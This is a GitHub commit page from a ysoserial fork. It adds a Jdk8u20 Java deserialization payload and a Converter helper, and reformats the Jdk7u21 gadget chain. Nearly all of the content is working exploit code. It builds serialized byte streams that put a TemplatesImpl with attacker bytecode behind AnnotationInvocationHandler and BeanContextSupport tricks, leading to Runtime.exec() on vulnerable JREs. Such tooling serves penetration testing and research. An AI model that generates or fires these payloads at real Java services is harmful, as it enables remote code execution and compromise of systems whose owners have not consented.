Skip to content

Commit

Permalink
add Jdk8u20
Browse files Browse the repository at this point in the history
优化Jdk7u21的Call tree
  • Loading branch information
rootphantomer committed Oct 20, 2022
1 parent d9c2d6c commit 83fb43f
Show file tree
Hide file tree
Showing 4 changed files with 277 additions and 29 deletions.
5 changes: 5 additions & 0 deletions src/main/java/ysoserial/payloads/JavassistWeld1.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,11 @@
import java.util.*;

/*
InterceptorMethodHandler.redObject()
InterceptorMethodHandler.executeInterception()
.getInterceptors(
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
Expand Down
65 changes: 36 additions & 29 deletions src/main/java/ysoserial/payloads/Jdk7u21.java
Original file line number Diff line number Diff line change
Expand Up @@ -23,13 +23,18 @@
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.add()
LinkedHashSet.readObject()
LinkedHashSet.add()
HashMap.read()
HashMap.put()
key.hashCode()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
LinkedHashSet.readObject()
HashMap.read()
HashMap.put()
key.hashCode()
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
Expand All @@ -53,43 +58,45 @@
Runtime.exec()
*/

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";
String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
InvocationHandler tempHandler =
(InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,
map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object
map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}
return set;
}

public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}

}
193 changes: 193 additions & 0 deletions src/main/java/ysoserial/payloads/Jdk8u20.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,193 @@
package ysoserial.payloads;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import ysoserial.payloads.util.Converter;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChildSupport;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;

import static java.io.ObjectStreamConstants.*;


/*
Gadget chain that works against JRE 1.8u20 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/pwntester/ab70e88821b4a6633c06
*/

/**
* code from ysoserial
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class Jdk8u20 implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
byte[] bytes = Converter.toBytes(getData(templates));
patch(bytes);
return bytes;
}

public static void patch(byte[] bytes) {
for (int i = 0; i < bytes.length; i++) {
if (bytes[i] == 0x71 && bytes[i + 1] == 0x00 && bytes[i + 2] == 0x7e && bytes[i + 3] == 0x00) {
i = i + 4;
// System.out.print("Adjusting reference from: " + bytes[i]);
if (bytes[i] == 1) bytes[i] = 5; // (String)
if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B
if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport)
if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl)
if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler)
// System.out.println(" to: " + bytes[i]);
}
}
}

static Object[] getData(TemplatesImpl templates) {

HashMap<String, Object> map = new HashMap();
// We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a
// reference for templates so that its exactly the same instance as the one added
// directly to the LinkedHashSet. So instead, we can add a string since OOS
// will create a reference to the existing string, and then I can manually
// replace the reference with one pointing to the templates instance in the LinkedHashSet
map.put("f5a5a608", "f5a5a608");

int offset = 0;
return new Object[]{
STREAM_MAGIC, STREAM_VERSION, // stream headers

// (1) LinkedHashSet
TC_OBJECT,
TC_CLASSDESC,
LinkedHashSet.class.getName(),
-2851667679971038690L,
(byte) 2, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
HashSet.class.getName(),
-5024744406713321676L,
(byte) 3, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// Block data that will be read by HashSet.readObject()
// Used to configure the HashSet (capacity, loadFactor, size and items)
TC_BLOCKDATA,
(byte) 12,
(short) 0,
(short) 16, // capacity
(short) 16192, (short) 0, (short) 0, // loadFactor
(short) 2, // size

// (2) First item in LinkedHashSet
templates, // TemplatesImpl instance with malicious bytecode

// (3) Second item in LinkedHashSet
// Templates Proxy with AIH handler
TC_OBJECT,
TC_PROXYCLASSDESC, // proxy declaration
1, // one interface
Templates.class.getName(), // the interface implemented by the proxy
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(), // java.lang.Proxy class desc
-2222568056686623797L, // serialVersionUID
SC_SERIALIZABLE, // flags
(short) 2, // field count
(byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (3) Field values
// value for the dummy field <--- BeanContextSupport.
// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
// (4) BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 1, // field count
(byte) 'I', "serializable", // serializable field, number of serializable children
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
BeanContextChildSupport.class.getName(),
6328947014421475877L,
SC_SERIALIZABLE,
(short) 1, // field count
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (4) Field values
// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to
// go into BeanContextSupport.readChildren()
TC_REFERENCE, baseWireHandle + 12,
// serializable: one serializable child
1,

// now we add an extra object that is not declared, but that will be read/consumed by readObject
// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it
// is not in the byte array
// so the call to child = ois.readObject() will deserialize next object in the stream: the
// AnnotationInvocationHandler
// At this point we enter the readObject of the aih that will throw an exception after deserializing its
// default objects

// (5) AIH that will be deserialized as part of the BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (5) Field Values
Templates.class, // type field value
map, // memberValues field value

// note: at this point normally the BeanContextSupport.readChildren would try to read the
// BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
// we skip past that one into the catch block, and continue out of readChildren

// the exception takes us out of readChildren and into BeanContextSupport.readObject
// where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));
// Within deserialize() there is an int read (0) and then it will read as many obejcts (0)

TC_BLOCKDATA,
(byte) 4, // block length
0, // no BeanContextSupport.bcmListenes
TC_ENDBLOCKDATA,

// (6) value for the Proxy.h field
TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler

TC_ENDBLOCKDATA,
};
}

public static void main(String[] args) throws Exception {
PayloadRunner.run(Jdk8u20.class, args);
}
}
43 changes: 43 additions & 0 deletions src/main/java/ysoserial/payloads/util/Converter.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
package ysoserial.payloads.util;


import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

/**
* code from ysoserial
*/
public class Converter {
public static byte[] toBytes(Object[] objs) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Object obj : objs) {
treatObject(dos, obj);
}
dos.close();
return baos.toByteArray();
}

public static void treatObject(DataOutputStream dos, Object obj)
throws IOException {
if (obj instanceof Byte) {
dos.writeByte((Byte) obj);
} else if (obj instanceof Short) {
dos.writeShort((Short) obj);
} else if (obj instanceof Integer) {
dos.writeInt((Integer) obj);
} else if (obj instanceof Long) {
dos.writeLong((Long) obj);
} else if (obj instanceof String) {
dos.writeUTF((String) obj);
} else {
ByteArrayOutputStream ba = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(ba);
oos.writeObject(obj);
oos.close();
dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header
}
}
}

0 comments on commit 83fb43f

Please sign in to comment.